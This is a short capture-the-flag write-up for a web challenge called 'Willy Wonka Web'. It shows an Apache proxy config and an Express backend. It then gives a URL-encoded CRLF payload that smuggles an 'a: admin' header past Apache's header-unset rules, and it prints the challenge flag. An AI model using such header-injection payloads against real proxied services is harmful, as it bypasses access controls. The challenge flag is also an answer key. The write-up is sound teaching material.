Willy Wonka Web
Problem
From the get go, we are given the example source code to look at and the ability to optionally host it ourselves.
We will focus on these 2 files:
1. Apache Config
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
ServerName localhost
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
ProxyPassReverse "/name/" "http://backend:3000/"
RequestHeader unset A
RequestHeader unset a
</VirtualHost>
2. Node Express Code
// imports
const express = require('express');
const fs = require('fs');
// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000
// endpoints
app.get('/', async (req, res) => {
if (req.header('a') && req.header('a') === 'admin') {
return res.send(FLAG);
}
return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});
// start server
app.listen(PORT, async () => {
console.log(`Listening on ${PORT}`)
});
Solution
In app.get('/')
it’s clear we need to send a HTTP header of a: admin
.
The problem is that the header being blocked if we send it normally e.g.
GET /?name=hello HTTP/2
a: admin
It gets unset by apache
RequestHeader unset A
RequestHeader unset a
If we URL encode a CRLF (Carriage Return + Line Feed) \r\n
-> %0d%0a
GET /name/hello%0d%0aa:%20admin%0d%0a%0d%0a HTTP/2
Apache decodes it to:
/name/hello\r\nA: admin\r\n\r\n
Apache unsets the non-existant headers and only afterward does the header get processed and put in the right place.
GET /?name=hello HTTP/2
a: admin
And we get the flag! byuctf{i_never_liked_w1lly_wonka}
Thanks for reading!